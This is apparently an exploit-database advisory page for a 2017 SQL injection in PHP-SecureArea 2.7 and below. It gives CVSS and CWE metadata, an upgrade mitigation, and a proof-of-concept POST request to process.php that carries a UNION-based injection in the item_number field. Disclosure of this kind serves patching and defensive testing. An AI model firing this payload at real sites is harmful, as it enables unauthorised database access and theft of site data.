header-logo
Suggest Exploit
vendor:
PHP-SecureArea
by:
Cryo
7,5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: PHP-SecureArea
Affected Version From: 2.7 and below
Affected Version To: 2.7 and below
Patch Exists: YES
Related CWE: N/A
CPE: a:withinweb:php-securearea
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows, Linux, Mac OS X
2017

PHP-SecureArea <= v2.7 - SQL Injection

PHP-SecureArea is vulnerable to SQL injection due to lack of input sanitization in the misc.php file. An attacker can exploit this vulnerability by sending a specially crafted POST request to the process.php file with an item_number parameter set to a malicious value.

Mitigation:

Upgrade to the latest version of PHP-SecureArea.
Source

Exploit-DB raw data:

# Exploit Title: PHP-SecureArea <= v2.7 - SQL Injection
# Date: 30-08-2017
# Exploit Author: Cryo
# Contact: https://twitter.com/KernelEquinox
# Vendor Homepage: https://www.withinweb.com
# Software Link: https://www.withinweb.com/phpsecurearea/
# Version: 2.7 and below
# Tested on: Windows, Linux, Mac OS X

1. Description
==============

PHP-SecureArea is vulnerable to SQL injection due to lack of input sanitization in the misc.php file.


2. Proof of Concept
===================

POST /phpsecurearea/ipn/process.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

item_number=-1' UNION ALL SELECT 1-- -